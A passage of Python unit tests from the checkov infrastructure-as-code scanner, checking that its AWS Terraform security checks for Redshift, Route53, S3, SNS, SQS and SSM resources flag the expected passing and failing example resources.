"aws_redshift_cluster.fail" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftInEc2ClassicMode.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RedshiftInEc2ClassicMode import check from checkov.terraform.runner import Runner class TestRedshiftInEc2ClassicMode(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RedshiftInEc2ClassicMode" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_redshift_cluster.pass", } failing_resources = { "aws_redshift_cluster.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftServerlessNamespaceKMSKey.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RedshiftServerlessNamespaceKMSKey import check from checkov.terraform.runner import Runner class TestRedshiftServerlessNamespaceKMSKey(unittest.TestCase): def test(self) -> None: runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RedshiftServerlessNamespaceKMSKey" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_redshiftserverless_namespace.pass", } failing_resources = { "aws_redshiftserverless_namespace.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_RedshiftSnapshotCopyGrantEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.RedshiftClusterSnapshotCopyGrantEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestRedshiftClusterSnapshotCopyGrantEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RedshiftSnapshotCopyGrantEncryptedWithCMK" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_redshift_snapshot_copy_grant.pass", } failing_resources = { "aws_redshift_snapshot_copy_grant.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_Route53TransferLock.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.aws.Route53TransferLock import check class TestRoute53TransferLock(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_Route53TransferLock") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_route53domains_registered_domain.pass_missing", "aws_route53domains_registered_domain.pass_true", } failing_resources = { "aws_route53domains_registered_domain.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3AbortIncompleteUploads.py ================================================ import os import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.S3AbortIncompleteUploads import check from checkov.terraform.runner import Runner class TestS3AbortIncompleteUploads(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_S3AbortIncompleteUploads" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_s3_bucket_lifecycle_configuration.pass", "aws_s3_bucket_lifecycle_configuration.pass2", "aws_s3_bucket_lifecycle_configuration.pass3", "aws_s3_bucket_lifecycle_configuration.resource_with_dynamic_rule_pass4" } failing_resources = { "aws_s3_bucket_lifecycle_configuration.fail", "aws_s3_bucket_lifecycle_configuration.fail2", "aws_s3_bucket_lifecycle_configuration.fail3", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3AccessPointPubliclyAccessible.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.S3AccessPointPubliclyAccessible import check from checkov.terraform.runner import Runner class TestS3AccessPointPubliclyAccessible(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_S3AccessPointPubliclyAccessible" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_s3_access_point.pass", "aws_s3_access_point.pass_missing" } failing_resources = { "aws_s3_access_point.fail" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3AllowsAnyPrincipal.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.S3AllowsAnyPrincipal import check from checkov.terraform.runner import Runner class TestS3AllowsAnyPrincipal(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_S3AllowsAnyPrincipal" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_s3_bucket.pass", "aws_s3_bucket.pass2", "aws_s3_bucket_policy.pass", "aws_s3_bucket_policy.pass_w_condition", "aws_s3_bucket.pass_w_condition", "aws_s3_bucket_policy.pass_w_condition2", "aws_s3_bucket.pass_w_condition2", "aws_s3_bucket.pass_w_condition3", "aws_s3_bucket.pass_w_condition4", "aws_s3_bucket.pass_w_condition5", "aws_s3_bucket.pass_w_condition6", } failing_resources = { "aws_s3_bucket.fail", "aws_s3_bucket.fail2", "aws_s3_bucket.fail3", "aws_s3_bucket_policy.fail", "aws_s3_bucket.fail_w_condition", "aws_s3_bucket_policy.fail_w_condition", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3BlockPublicACLs.py ================================================ import unittest from checkov.terraform.checks.resource.aws.S3BlockPublicACLs import scanner from checkov.common.models.enums import CheckResult class TestS3BlockPublicACLs(unittest.TestCase): def test_failure(self): resource_conf = {'bucket':['foo'], 'block_public_acls': [False], 'block_public_policy': [True], 'ignore_public_acls': [True], 'restrict_public_buckets': [True]} scan_result = scanner.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): resource_conf = {'bucket':['foo'], 'block_public_acls': [True], 'block_public_policy': [True], 'ignore_public_acls': [True], 'restrict_public_buckets': [True]} scan_result = scanner.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3BlockPublicPolicy.py ================================================ import unittest from checkov.terraform.checks.resource.aws.S3BlockPublicPolicy import scanner from checkov.common.models.enums import CheckResult class TestS3BlockPublicPolicy(unittest.TestCase): def test_failure(self): resource_conf = {'bucket':['foo'], 'block_public_acls': [True], 'block_public_policy': [False], 'ignore_public_acls': [True], 'restrict_public_buckets': [True]} scan_result = scanner.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): resource_conf = {'bucket':['foo'], 'block_public_acls': [True], 'block_public_policy': [True], 'ignore_public_acls': [True], 'restrict_public_buckets': [True]} scan_result = scanner.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3BucketObjectEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.S3BucketObjectEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestS3BucketObjectEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_S3BucketObjectEncryptedWithCMK" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_s3_bucket_object.pass", } failing_resources = { "aws_s3_bucket_object.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3BucketObjectLock.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.S3BucketObjectLock import check from checkov.terraform.runner import Runner class TestS3BucketObjectLock(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_S3BucketObjectLock" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_s3_bucket.enabled_via_object", "aws_s3_bucket.enabled_via_block", } failing_resources = { "aws_s3_bucket.disabled_via_object", "aws_s3_bucket.disabled_via_block", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3GlobalViewACL.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.aws.S3GlobalViewACL import check class TestS3GlobalViewACL(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_S3GlobalViewACL") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_s3_bucket_acl.pass", "aws_s3_bucket_acl.pass2", } failing_resources = { "aws_s3_bucket_acl.fail", "aws_s3_bucket_acl.fail2" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3IgnorePublicACLs.py ================================================ import unittest from checkov.terraform.checks.resource.aws.S3IgnorePublicACLs import scanner from checkov.common.models.enums import CheckResult class TestS3IgnorePublicACLs(unittest.TestCase): def test_failure(self): resource_conf = {'bucket':['foo'], 'block_public_acls': [True], 'block_public_policy': [True], 'ignore_public_acls': [False], 'restrict_public_buckets': [True]} scan_result = scanner.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): resource_conf = {'bucket':['foo'], 'block_public_acls': [True], 'block_public_policy': [True], 'ignore_public_acls': [True], 'restrict_public_buckets': [True]} scan_result = scanner.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3ObjectCopyEncryptedWithCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.S3ObjectCopyEncryptedWithCMK import check from checkov.terraform.runner import Runner class TestS3ObjectCopyEncryptedWithCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_S3ObjectCopyEncryptedWithCMK" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "aws_s3_object_copy.pass", } failing_resources = { "aws_s3_object_copy.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3ProtectAgainstPolicyLockout.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.S3ProtectAgainstPolicyLockout import check from checkov.terraform.runner import Runner class TestS3ProtectAgainstPolicyLockout(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_S3ProtectAgainstPolicyLockout" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_s3_bucket_policy.pass", "aws_s3_bucket_policy.pass2", "aws_s3_bucket_policy.pass3", "aws_s3_bucket_policy.pass4", "aws_s3_bucket_policy.pass5", "aws_s3_bucket_policy.baddata" } failing_resources = { "aws_s3_bucket_policy.failjsonencode", "aws_s3_bucket_policy.multi_statement_fail", "aws_s3_bucket_policy.fail", "aws_s3_bucket.deprecated", "aws_s3_bucket.deprecated2" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3RestrictPublicBuckets.py ================================================ import unittest from checkov.terraform.checks.resource.aws.S3RestrictPublicBuckets import scanner from checkov.common.models.enums import CheckResult class TestS3RestrictPublicBuckets(unittest.TestCase): def test_failure(self): resource_conf = {'bucket':['foo'], 'block_public_acls': [True], 'block_public_policy': [True], 'ignore_public_acls': [True], 'restrict_public_buckets': [False]} scan_result = scanner.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): resource_conf = {'bucket':['foo'], 'block_public_acls': [True], 'block_public_policy': [True], 'ignore_public_acls': [True], 'restrict_public_buckets': [True]} scan_result = scanner.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_S3SecureDataTransport.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.S3SecureDataTransport import check from checkov.terraform.runner import Runner class TestS3SecureDataTransport(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_S3SecureDataTransport" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_s3_bucket_acl.pass_private", "aws_s3_bucket_acl.pass_restricted", "aws_s3_bucket_acl.pass_grant_blocked", "aws_s3_bucket_acl.pass_website", "aws_s3_bucket_acl.pass_policy1", "aws_s3_bucket_acl.pass_policy2", "aws_s3_bucket_acl.pass_policy3", } failing_resources = { "aws_s3_bucket_acl.fail1", "aws_s3_bucket_acl.fail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 7) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SNSCrossAccountAccess.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SNSCrossAccountAccess import check from checkov.terraform.runner import Runner class TestSNSOverPermissivePublishing(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SNSCrossAccountAccess" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_sns_topic_policy.pass0", "aws_sns_topic_policy.pass1", "aws_sns_topic_policy.pass2", } failing_resources = { "aws_sns_topic_policy.fail0", "aws_sns_topic_policy.fail1", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SNSTopicEncryption.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SNSTopicEncryption import check from checkov.terraform.runner import Runner class TestS3Encryption(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SNSTopicEncryption" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_sns_topic.enabled", } failing_resources = { "aws_sns_topic.default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SNSTopicPolicyAnyPrincipal.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SNSTopicPolicyAnyPrincipal import check from checkov.terraform.runner import Runner class TestBackupVaultEncrypted(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SNSTopicPolicyAnyPrincipal" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_sns_topic_policy.sns_tp1", "aws_sns_topic_policy.sns_tp6", "aws_sns_topic_policy.sns_pass_condition", } failing_resources = { "aws_sns_topic_policy.sns_tp2", "aws_sns_topic_policy.sns_tp3", "aws_sns_topic_policy.sns_tp4", "aws_sns_topic_policy.sns_tp5", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SQSOverlyPermissive.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SQSOverlyPermissive import check from checkov.terraform.runner import Runner class TestSQSOverlyPermissive(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SQSOverlyPermissive" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_sqs_queue_policy.pass", "aws_sqs_queue_policy.pass_w_condition", } failing_resources = { "aws_sqs_queue_policy.fail", "aws_sqs_queue_policy.fail2", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SQSPolicy.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SQSPolicy import check from checkov.terraform.runner import Runner class TestSQSPolicy(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SQSPolicy" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_sqs_queue_policy.pass", } failing_resources = { "aws_sqs_queue_policy.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SQSQueueEncryption.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SQSQueueEncryption import check from checkov.terraform.runner import Runner class TestSQSQueueEncryption(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SQSQueueEncryption" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "aws_sqs_queue.pass", "aws_sqs_queue.pass2", "aws_sqs_queue.pass3", } failing_resources = { "aws_sqs_queue.fail", "aws_sqs_queue.fail2", "aws_sqs_queue.fail3", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SQSQueuePolicyAnyPrincipal.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SQSQueuePolicyAnyPrincipal import check from checkov.terraform.runner import Runner class TestBackupVaultEncrypted(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SQSQueuePolicyAnyPrincipal" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_sqs_queue_policy.q1", "aws_sqs_queue_policy.q6", "aws_sqs_queue.aq1", "aws_sqs_queue.aq6" } failing_resources = { "aws_sqs_queue_policy.q2", "aws_sqs_queue_policy.q3", "aws_sqs_queue_policy.q4", "aws_sqs_queue_policy.q5", "aws_sqs_queue.aq2", "aws_sqs_queue.aq3", "aws_sqs_queue.aq4", "aws_sqs_queue.aq5", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 4) self.assertEqual(summary["failed"], 8) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SSMDocumentsArePrivate.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SSMDocumentsArePrivate import check from checkov.terraform.runner import Runner class TestSSMDocumentsArePrivate(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SSMDocumentsArePrivate" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_ssm_document.pass", "aws_ssm_document.pass2" } failing_resources = { "aws_ssm_document.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SSMParameterUsesCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SSMParameterUsesCMK import check from checkov.terraform.runner import Runner class TestSSMParameterUsesCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SSMParameterUsesCMK" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "aws_ssm_parameter.pass", "aws_ssm_parameter.pass2", } failing_resources = { "aws_ssm_parameter.fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SSMSessionManagerDocumentEncryption.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SSMSessionManagerDocumentEncryption import check from checkov.terraform.runner import Runner class TestSSMSessionManagerDocumentEncryption(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SSMSessionManagerDocumentEncryption" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = {"aws_ssm_document.enabled", "aws_ssm_document.enabled_yaml"} failing_resources = {"aws_ssm_document.disabled", "aws_ssm_document.disabled_yaml"} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/test_SSMSessionManagerDocumentLogging.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.aws.SSMSessionManagerDocumentLogging import check from 